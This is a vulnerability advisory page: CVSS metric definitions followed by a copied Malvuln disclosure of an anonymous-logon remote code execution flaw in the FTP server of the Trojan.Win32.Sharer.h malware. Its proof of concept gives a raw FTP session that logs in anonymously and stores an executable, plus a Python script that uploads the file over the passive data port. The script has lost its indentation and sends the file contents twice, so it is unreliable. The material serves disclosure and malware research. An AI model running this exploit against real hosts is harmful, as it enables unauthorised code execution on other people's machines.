The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Trojan.Win32.Sharer.h / Anonymous Logon RCE
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Attackers may then upload executables using PASV, STOR commands, this can result in remote code execution. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
Disclosure: 04/03/2021
Exploit/PoC:
TELNET x.x.x.x 21
220 Y!!!
USER anonymous
331 Password required for anonymous
PASS malvuln
230 User successfully logged in.
SYST
215 UNIX emulated by Pablo's FTP Server.
PASV
227 Entering Passive Mode (192,168,88,128,202,32).
STOR DOOM.exe
150 Opening BINARY mode data connection for file transfer.
226 Transfer complete
from socket import *
MALWARE_HOST="192.168.88.128"
PORT=51744 #202*256+32
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551")
print("By Malvuln");
if __name__=="__main__":
doit()
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